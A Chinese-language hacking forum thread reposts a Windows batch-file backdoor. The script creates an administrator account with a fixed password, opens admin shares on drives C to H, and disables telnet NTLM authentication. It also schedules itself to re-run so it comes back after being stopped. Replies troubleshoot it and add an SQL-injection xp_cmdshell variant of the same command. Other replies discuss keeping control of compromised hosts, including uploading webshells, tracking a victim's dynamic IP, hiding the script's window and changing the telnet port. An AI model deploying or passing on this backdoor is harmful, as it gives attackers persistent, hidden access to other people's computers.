31 12
发新话题
打印

[转载]用批处理写的后门 永不被杀

[转载]用批处理写的后门 永不被杀

作者:xyt   

代码思路是影子鹰DESERT朋友的,原代码比较麻烦,我做了改进,这个后门优点就是小而且不会被杀,放到SYSTEM32目录下就可以了 ,代码如下:
    @echo off
    @attrib +s + r xyt.bat
    @net user xyt hacker /add
    @net localgroup administrators xyt /add
    @net share c$=c:
    @net share d$=d:
    @net share e$=e:
    @net share f$=f:
    @net share g$=g:
    @net share h$=h:
    @tlntadmn config sec = -ntlm

   @net  stop schedule
    @net start Schedule
    @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
    @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
    @at 11:05 c:\WINNT\SYSTEM32\xyt.bat
    @at 23:05 c:\WINNT\SYSTEM32\xyt.bat
    @net stop telnet  
    @net start telnet
    @exit

   这样就会循环运行我们的程序了,即使被人停下来,过几个小时,又回重新运行,呵呵~~
    运行后TELNET IP上去,用户名为xyt,密码为hacker。
益友网吧联盟  http://www.96-7.com

TOP

引用:
下面是引用xyt于2005-02-22 01:06发表的:
取消NTLM认证的方法我没有测试,是用紫幻朋友的,呵呵~~~~
恐怕你得叫紫幻大哥 他和lcx差不多的老家伙 在本站顾问团

TOP

这个后门和我以前写过的那个思路一样嘛,呵呵,发表在X的合订本上,我那个可以去掉NTLM的

TOP

如果server服务被禁用的话.这段就没用了

@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:

TOP

  C:\>tlntadmn config sec = -ntlm
'tlntadmn' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

怎么会这样啊!!!!!
我是在xp下

TOP

@tlntadmn config sec = -ntlm  什么意思?

TOP

引用:
下面是引用小邪于2005-04-30 09:03发表的:
@tlntadmn config sec = -ntlm  什么意思?
http://www.eviloctal.com/forum/read.php?tid=5838&fpage=1

TOP

引用:
下面是引用netxyan于04-09-2005 00:20发表的:
  C:>tlntadmn config sec = -ntlm
'tlntadmn' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

怎么会这样啊!!!!!
.......
不会吧,我也是xp

C:\>tlntadmn


以下是 localhost 上的设置

Alt 键已被映射到 'CTRL+A' :    YES
Idle 会话超时:  1 hours
最多连接次数:  2
Telnet 端口:   23
失败的登录企图的最多次数:     3
断开时结束任务:      YES
操作模式:     Console
身份验证机制:  NTLM, Password
默认域:      QJGC-66A2656F25
状态:  Stopped

C:\>tlntadmn /?

用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
                  所有会话用 'all'。
    -s sessionid       列出会话的信息。
    -k sessionid       终止会话。
    -m sessionid       发送消息到会话。

    config           配置 telnet 服务器参数。

common_options 为:
    -u user          指定要使用其凭据的用户
    -p password        用户密码

config_options 为:
   dom = domain        设定用户的默认域
   ctrlakeymap = yes|no  设定 ALT 键的映射
   timeout = hh:mm:ss    设定空闲会话超时值
   timeoutactive = yes|no 启用空闲会话。
   maxfail = attempts    设定断开前失败的登录企图数。
   maxconn = connections  设定最大连接数。
   port = number       设定 telnet 端口。
   sec = [+/-]NTLM [+/-]passwd
                  设定身份验证机构
   mode = console|stream  指定操作模式。
You're my FF~, forever~ ^_^

TOP

tlntadmn config sec = -ntlm
注射的话可以直接运行:;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
取消ntlm认证还是很好用的
其实帐号都建了用个个在自己机上建同样帐号的方法一样可以。

这个后门不错哦~~~~
下次给鸡装个~~~

TOP

厉害 经典  我只想到了  net user xxx /add  net localgroup xx /add  net start telnet
没想到ntlm

TOP

顺便提问一下  你net start telnet  但是如果目标主机的telnet服务是禁用的话怎么办?

TOP

tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:

用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
所有会话用 'all'。
-s sessionid列出会话的信息。
-k sessionid终止会话。
-m sessionid发送消息到会话。

config配置 telnet 服务器参数。

common_options 为:
-u user 指定要使用其凭据的用户
-p password 用户密码

config_options 为:
 dom = domain 设定用户的默认域
 ctrlakeymap = yes|no 设定 ALT 键的映射
 timeout = hh:mm:ss 设定空闲会话超时值
 timeoutactive = yes|no 启用空闲会话。
 maxfail = attempts 设定断开前失败的登录企图数。
 maxconn = connections设定最大连接数。
 port = number设定 telnet 端口。
 sec = [+/-]NTLM [+/-]passwd
设定身份验证机构
 fname = file 指定审计文件名。
 fsize = size 指定审计文件的最大尺寸(MB)。
 mode = console|stream指定操作模式。
 auditlocation = eventlog|file|both
指定记录地点
 audit = [+/-]user [+/-]fail [+/-]admin
人总是学着怎样长大

TOP

如果禁止了telnet那net start telnet也没有用啊
人总是学着怎样长大

TOP

@attrib +s + r xyt.bat是不是放错地方啊
人总是学着怎样长大

TOP

tlntadmn config sec = -ntlm
会被正常执行么?很多人测试都失败的。
其实还不如写个简单的程序 手工加个壳。就不错。
何况telnet连接 在SB的防火墙也可以拦截的。

TOP

引用:
下面是引用一只蛐蛐于2005-03-04 17:56发表的:
如果server服务被禁用的话.这段就没用了

@net share c$=c:
@net share d$=d:
@net share e$=e:
.......
如果加个NET STAT 行不?我是菜鸟...有说错的地方不要笑我~!@

TOP

这个后门唯一的缺陷就是如果对方是动态IP,怎样才可以获取对方实时的IP
这个值得探讨一下
我觉的如果可以把ipconfig>>ip.txt
然后加到启动项里
然后tftp 你的动态域名的IP上
那么动态域名的IP如何时刻跟踪呢?这个需要讨论下哈
好好上网,天天向上

TOP

传好asp木马后该干点什么。。。。开3389和加用户到ad或者传木马很容易就被ko拉,多开几个端口管理员很容易发现也。。。。。。。
有没有更隐蔽的做法。。。。。。。
动态ip的肉鸡怎么利用,谁教教我

TOP

动太IP你使用鸽子的自动上线.然后就是后面提出的IP地址的问题...我个人觉得在上面加一段发送mail的命令.将动态的IP地址发送到个人的mail里.

TOP

telnet不实用
我已经很少见没过滤端口没防火墙的主机了
曾经顶风尿千丈,如今顺风尿湿鞋....

TOP

不适用。
一,在系统明摆地建个管理用户。
二,开启默认共享,现在大部分网关或路由屏了139,135,445端口。
三,开启telnet?更是搞笑。

TOP

tlntadmin config sec = -ntlm port = 1986   可以用这个改变telnet开放的端口.

TOP

我用肉鸡试了下

连接倒是连接上去了
可是出现了
欢迎使用 Microsoft Telnet Client

Escape 字符是 'CTRL+]'


您将要把您的密码信息送到 Internet 区内的一台远程计算机上。这可能不安全。您还要送
吗(y/n):
我按Y的结果是
NTLM Authentication failed due to insufficient credentials.  Please login with
clear text username and password

Server allows NTLM authentication only
Server has closed connection


失去了跟主机的连接。
按N的结果是
Server allows NTLM authentication only
Server has closed connection


失去了跟主机的连接。
这是什么回事啊~~~~~~~~~~~!
这世界大了,啥鸟都有!

TOP

引用:
下面是引用yly于2005-06-01 15:30发表的:
程序运行的时候会一闪而过!
在屏幕上可以感觉到!
可以用Quick Batch File编译成exe格式并且后台运行。

TOP

放在system32目录下会自动执行吗?
用webshell传上去,webshell没有权限执行,该怎么办?

TOP

 31 12
发新话题